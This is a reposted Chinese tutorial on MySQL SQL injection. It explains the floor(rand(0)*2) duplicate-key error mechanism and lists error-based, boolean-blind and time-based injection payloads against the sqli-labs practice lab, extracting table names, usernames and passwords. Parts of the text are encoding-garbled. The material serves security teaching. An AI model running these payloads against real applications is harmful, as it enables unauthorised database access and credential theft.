1.1 sql注入分类与详解
這里來講一下報(bào)錯(cuò)注入的原理(floor型爆錯(cuò)注入): 0x01:報(bào)錯(cuò)過程: 1.rand()用于產(chǎn)生一個(gè)0~1的隨機(jī)數(shù) 2.floor()向下取整 3.rand()函數(shù)生成0~1的任意數(shù)字,使用floor函數(shù)向下取整,值是固定的0, 如果是rand()*2,向下取整后為0或1 ?4.concat()將符合條件的同一列中的不同行數(shù)據(jù)進(jìn)行拼接,0x3a是":"的16進(jìn)制
5.將之前的rand()函數(shù)和floor函數(shù)結(jié)合起來
6.查詢出來的名字太長(zhǎng),我們來起個(gè)別名
7.我們?cè)僖淮尾樵?#xff0c;information_schema.tables有多少個(gè)表格,會(huì)顯示多少列
?
8.group by依據(jù)我們想要的規(guī)矩對(duì)結(jié)果進(jìn)行分組
9.count()統(tǒng)計(jì)元素的個(gè)數(shù)
10.我們多重復(fù)幾次
?
0x02:rand()和rand(0)
1.根據(jù)剛才的運(yùn)行結(jié)果,發(fā)現(xiàn)不加隨機(jī)因子,執(zhí)行2次就會(huì)報(bào)錯(cuò),我們加上隨機(jī)因子
看一下結(jié)果:
發(fā)現(xiàn)每一次都報(bào)錯(cuò),是不是說明報(bào)錯(cuò)語句有了floor(rand(0)*2)以及其他條件就一定報(bào)錯(cuò),
驗(yàn)證一下,先建個(gè)表test,先只增加一條記錄:
然后我們執(zhí)行報(bào)錯(cuò)語句:
多次執(zhí)行均沒有發(fā)現(xiàn)報(bào)錯(cuò)
我們新增一條記錄:
我們繼續(xù)執(zhí)行報(bào)錯(cuò)語句:
多次執(zhí)行還是沒有發(fā)現(xiàn)報(bào)錯(cuò)
我們?cè)傩略鲆粭l記錄:
?
我們測(cè)試一下報(bào)錯(cuò)語句:
?成功報(bào)錯(cuò)了
由此證明floor(rand(0)*2)的報(bào)錯(cuò)是有條件的,記錄數(shù)必須大于等于3條,3條以上必定報(bào)錯(cuò)
?
0x03 確定性與不確定性
根據(jù)上面的驗(yàn)證,我們發(fā)現(xiàn):
floor(rand()*2):二條記錄隨機(jī)出錯(cuò)
floor(rand(0)*2):三條記錄以上一定報(bào)錯(cuò)
由此可以猜想,floor(rand()*2)是比較隨機(jī)的,不具備確定性因素,而floor(rand(0)*2)具備某方面的確定性
floor(rand(0)*2) :報(bào)錯(cuò)的原理恰恰是由于他的確定性
我們分別執(zhí)行觀察:
floor(rand()*2):
發(fā)現(xiàn)連續(xù)三次查詢,沒有一點(diǎn)規(guī)律
floor(rand(0)*2) :
發(fā)現(xiàn)連續(xù)三次查詢都是有規(guī)律的,而且是固定的,這就是上面說的由于確定性才導(dǎo)致的爆錯(cuò)
?
0x04 count與group by的虛擬表
我們先看下來查詢結(jié)果:
可以看出test5的記錄有3條
與count(*)的結(jié)果相符合,如果mysql遇到了select count(*) from test group by name;
這種語句,會(huì)先建立一個(gè)虛擬表:
當(dāng)開始查詢數(shù)據(jù)時(shí),從數(shù)據(jù)庫(kù)中取出數(shù)據(jù),看在虛擬表中是否有同樣的記錄, 如果有,就在count(*)字段+1,如果沒有就直接插入新記錄:可這怎么引起報(bào)錯(cuò)?
?
0x05 floor(rand(0)*2)爆錯(cuò)
其實(shí)官方mysql給過提示,就是查詢?nèi)绻褂胷and()的話,該值會(huì)被計(jì)算多次,也就是在使用group by 的時(shí)候,floor(rand(0)*2)會(huì)被執(zhí)行一次,如果虛擬表中不存在記錄,把數(shù)據(jù)插入虛擬表中時(shí)會(huì)再被執(zhí)行一次。在0x03中我們發(fā)現(xiàn)floor(rand(0)*2)的值具有確定性,為01101100111011,報(bào)錯(cuò)實(shí)際上是floor(rand(0)*2)被多次計(jì)算所導(dǎo)致,具體看一下select count(*) from test group by floor(rand(0)*2);
1.查詢前會(huì)建立虛擬表
2.取第一條記錄,執(zhí)行floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為0(第一次計(jì)算),查詢虛擬表,發(fā)現(xiàn)0的鍵值不存在,則floor(rand(0)*2)會(huì)被再計(jì)算一遍,結(jié)果為1(第二次計(jì)算),插入虛擬表,這時(shí)第一條記錄查詢完畢:
?
?3.查詢第二條記錄,再次計(jì)算floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為1(第三次計(jì)算),查詢虛擬表,發(fā)現(xiàn)1的鍵值存在(上圖),所以floor(rand(0)*2)不會(huì)被計(jì)算第二次,直接count(*)+1,第二條記錄查詢完畢:
4.查詢第三條記錄,再次計(jì)算floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為0(第四次計(jì)算),查詢虛擬表,發(fā)現(xiàn)0的鍵值不存在,則虛擬表嘗試插入一條新的數(shù)據(jù),在插入數(shù)據(jù)時(shí)floor(rand(0)*2)被再次計(jì)算,結(jié)果為1(第五次計(jì)算),然而1這個(gè)主鍵已經(jīng)存在于虛擬表中,而新計(jì)算的值也為1(應(yīng)為主鍵鍵值必須唯一),所以插入時(shí)直接報(bào)錯(cuò)了。
5.整個(gè)查詢過程floor(rand(0)*2)被計(jì)算了5次,查詢了3次紀(jì)錄,這就是為什么數(shù)據(jù)表中需要3條數(shù)據(jù),這也就是使用該語句會(huì)報(bào)錯(cuò)的原因
?
0x06 flood(rand()*2)爆錯(cuò)
由0x01,0x02我們發(fā)現(xiàn)flood(rand()*2),具有隨機(jī)性,
最重要的是前面幾條記錄查詢后不能讓虛擬表存在0,1鍵值,如果存在了,那無論多少條記錄都無法報(bào)錯(cuò),應(yīng)為floor(rand()*2)不會(huì)再被計(jì)算作為虛擬表的鍵值,這也就是為什么不加隨機(jī)因子的時(shí)候會(huì)報(bào)錯(cuò),有時(shí)候不報(bào)錯(cuò):
這樣的話,就算查詢多少條記錄,都不會(huì)再次被計(jì)算,只是簡(jiǎn)單的count(*)+1,所以不會(huì)報(bào)錯(cuò)
比如floor(rand(1)*2):
前兩條記錄查詢過之后,虛擬表中已經(jīng)存在0,1的鍵值了,所以后面只會(huì)在count(*)上面加,后面不會(huì)再爆錯(cuò)
這就是floor型報(bào)錯(cuò)注入的原理與過程
?--------------------------------------------------------------------------------
? information_schema這張數(shù)據(jù)表保存了MySQL服務(wù)器所有數(shù)據(jù)庫(kù)的信息。如數(shù)據(jù)庫(kù)名, 數(shù)據(jù)庫(kù)的表,表欄的數(shù)據(jù)類型與訪問權(quán)限等。再簡(jiǎn)單點(diǎn),這臺(tái)MySQL服務(wù)器上,到底有哪些數(shù) 據(jù)庫(kù)、各個(gè)數(shù)據(jù)庫(kù)有哪些表,每張表的字段類型是什么,各個(gè)數(shù)據(jù)庫(kù)要什么權(quán)限才能訪問,等 等信息都保存在information_schema表里面。 爆出數(shù)據(jù)庫(kù)中的所有數(shù)據(jù)庫(kù)名: select schema_name from information_schema.schemata;爆出數(shù)據(jù)庫(kù)中所有表名:
select table_name from information_schema.tables; 爆出數(shù)據(jù)庫(kù)中的列名: select column_name from information_schema.columns where table_name='wp_users'; ? 爆出字段具體的值: select table_name,table_schema from information_schema.tables group by table_schema; select group_concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name; 0x3a是 :的16進(jìn)制 -————------ | name????????| ---------------? ? ? ? |::security::0| --------------- 或者 -————------ | name????????| ---------------? ? ? ? |::security::1| --------------- concat()? : 連接兩個(gè)或多個(gè)數(shù)組 select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name; -------————----------------- |? ? ? ? ? ? ? ? ? ?|? ? ? ? ? ? ? ? ? ? | | count(*)?????|?????name??????| -------------------------------- |? ? ? ? ? ? ? ? ? ?|? ? ? ? ? ? ? ? ? ?| |?????45? ? ? ? ? |::security::0??| |? ? ? ? ? ? ? ? ? ?|? ? ? ? ? ? ? ? ? ? | |?????41? ? ? ? ? |::security::1??| -------------------------------- 但是刷新幾次發(fā)現(xiàn)了一個(gè)錯(cuò)誤: ERROR 1062(23000):Duplicate entry'::security::1' for key 'group_key';?但是這個(gè)錯(cuò)誤卻爆出了當(dāng)前數(shù)據(jù)庫(kù)名,這對(duì)我們SQL注入是有用的,同理,我們可以換成不同的函數(shù)來獲取信息
select count(*),concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name; 刷新多遍,發(fā)現(xiàn)這個(gè)錯(cuò)誤果然可以爆出數(shù)據(jù)庫(kù)的版本信息 這樣的話,我們可以嘗試爆表select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name; 多次刷新 竟然真的爆出了表的名字,我們還可以通過改變limit 0,1 來獲取更多地表名 這里順便補(bǔ)充一下limit 0,1 的用法??: select * from table limit m,n 其中m是指記錄開始的index,從0開始,表示第一條記錄,n是指從第m+1條開始,取n條。 limit是mysql的語法 select * from table limit m,n 其中m是指記錄開始的index,從0開始,表示第一條記錄 n是指從第m+1條開始,取n條。 select * from tablename limit 2,4 即取出第3條至第6條,4條記 同理我們換成比較麻煩的來爆出表的名字 http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%2 http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23 我們可以找到username,password字段 http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23 可以爆出用戶名
http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23 可以爆出用戶名對(duì)應(yīng)的用戶密碼 其他方法 1、通過floor報(bào)錯(cuò),注入語句如下: 爆數(shù)據(jù)庫(kù): http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23 爆表: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23 爆字段: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23 爆用戶名: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23 爆密碼: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%232、通過ExtractValue報(bào)錯(cuò),注入語句如下: 爆數(shù)據(jù)庫(kù): and extractvalue(1, concat(0x5c, (select database()),0x5c));爆表: and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5c));爆字段: and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns where table_name='users' limit 0,1),0x5c));爆用戶: and extractvalue(1, concat(0x5c, (select username from users limit 0,1),0x5c));爆密碼:and extractvalue(1, concat(0x5c, (select password from users limit 0,1),0x5c));3、通過UpdateXml報(bào)錯(cuò),注入語句如下:爆數(shù)據(jù)庫(kù):and 1=(updatexml(1,concat(0x3a,(select database()),0x3a),1))爆表: and 1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a),1))爆字段: and 1=(updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a),1))爆用戶: and 1=(updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1))爆密碼: and 1=(updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1))4.通過geometrycollection()報(bào)錯(cuò),注入語句如下:select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));5.通過multipoint()報(bào)錯(cuò),注入語句如下:select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));6.通過polygon()報(bào)錯(cuò),注入語句如下:select * from test where id=1 and polygon((select * from(select * from(select user())a)b));7.通過multipolygon()報(bào)錯(cuò),注入語句如下:select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));8.通過linestring()報(bào)錯(cuò),注入語句如下:select * from test where id=1 and linestring((select * from(select * from(select user())a)b));9.通過multilinestring()報(bào)錯(cuò),注入語句如下:select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));10.通過exp()報(bào)錯(cuò),注入語句如下:select * from test where id=1 and exp(~(select * from(select user())a));
2:基于布爾 SQL 盲注----------構(gòu)造邏輯判斷 ?1:基于布爾 SQL 盲注----------構(gòu)造邏輯判斷 left(database(),1)>’s’ //left()函數(shù) Explain: database()顯示數(shù)據(jù)庫(kù)名稱,left(a,b)從左側(cè)截取 a 的前 b 位 上面語句也就是判斷數(shù)據(jù)庫(kù)的第一位的ascill的值是否大于8,如果是頁面就返回正常 用法:http://127.0.0.1/sqlilabs/Less-7/?id=1' and left(database())>=8%23 ascii(substr((select table_name information_schema.tables where tables_schema =database() limit 0,1),1,1))=101 --+ //substr()函數(shù),ascii()函數(shù) Explain:substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長(zhǎng)度。Ascii()將某個(gè)字符轉(zhuǎn)換 為 ascii 值 ascii(substr((select database()),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函數(shù),MID()函數(shù) Explain:mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位? ? ? ?Ord()函數(shù)同 ascii(),將字符轉(zhuǎn)為 ascii 值 ▲regexp 正則注入 正則注入介紹:http://www.cnblogs.com/lcamry/articles/5717442.html 用法介紹: select user() regexp '^[a-z]'; Explain:正則表達(dá)式的用法,user()結(jié)果為 root,regexp 為匹配 root 的正則表達(dá)式。 第二位可以用? select user() regexp '^ro' 來進(jìn)行。 示例介紹:? select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(user() regexp'^ri'); 通過 if 語句的條件判斷,返回一些條件句,比如 if 等構(gòu)造一個(gè)判斷。根據(jù)返回結(jié)果是否等 于 0 或者 1 進(jìn)行判斷。? select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1); 這里利用 select 構(gòu)造了一個(gè)判斷語句。我們只需要更換 regexp 表達(dá)式即可 '^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE 如何知道匹配結(jié)束了?這里大部分根據(jù)一般的命名方式(經(jīng)驗(yàn))就可以判斷。但是如何你在 無法判斷的情況下,可以用 table_name regexp '^username$ '來進(jìn)行判斷。^是從開頭進(jìn)行 匹配,$是從結(jié)尾開始判斷。更多的語法可以參考 mysql 使用手冊(cè)進(jìn)行了解
3:基于時(shí)間的 SQL 盲注----------延時(shí)注入 If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句,條件為假, 執(zhí)行 sleep Ps:遇到以下這種利用 sleep()延時(shí)注入語句 select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8, 9,.')); 該語句意思是在 0-9 之間找版本號(hào)的第一位。但是在我們實(shí)際滲透過程中,這種用法是不可 取的,因?yàn)闀r(shí)間會(huì)有網(wǎng)速等其他因素的影響,所以會(huì)影響結(jié)果的判斷。 UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1; //BENCHMARK(count,expr)用于測(cè)試函數(shù)的性能,參數(shù)一為次數(shù),二為要執(zhí)行的表達(dá) 式。可以讓函數(shù)執(zhí)行若干次,返回結(jié)果比平時(shí)要長(zhǎng),通過時(shí)間長(zhǎng)短的變化,判斷語句是否執(zhí) 行成功。這是一種邊信道攻擊,在運(yùn)行過程中占用大量的 cpu 資源。推薦使用 sleep() 函數(shù)進(jìn)行注入。 猜測(cè)數(shù)據(jù)庫(kù): http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ 說明第一位是 s (ascii 碼是 115) http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+ 說明第二位是 e (ascii 碼是 101) .... 以此類推,我們知道了數(shù)據(jù)庫(kù)名字是 security 猜測(cè) security 的數(shù)據(jù)表: http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+ ?猜測(cè)第一個(gè)數(shù)據(jù)表的第一位是 e,... 依次類推,得到 emails http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+ 猜測(cè)第二個(gè)數(shù)據(jù)表的第一位是 r,... 依次類推,得到 referers ... 再以此類推,我們可以得到所有的數(shù)據(jù)表 emails,referers,uagents,users 猜測(cè) users 表的列: http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+ 猜測(cè) users 表的第一個(gè)列的第一個(gè)字符是 i, 以此類推,我們得到列名是 id,username,password ```````````````` 猜測(cè) username 的值: http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+ 猜測(cè) username 的第一行的第一位 以此類推,我們得到數(shù)據(jù)庫(kù) username,password 的所有內(nèi)容 以上的過程就是我們利用 sleep()函數(shù)注入的整個(gè)過程,當(dāng)然了可以離開 BENCHMARK()函數(shù)進(jìn) 行注入,這里可以自行進(jìn)行測(cè)試。我們這里就不進(jìn)行演示了
?
轉(zhuǎn)載于:https://www.cnblogs.com/bmjoker/p/8797027.html
總結(jié)
以上是生活随笔為你收集整理的1.1 sql注入分类与详解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【Java并发编程】之八:多线程环境中安
- 下一篇: spark源码编译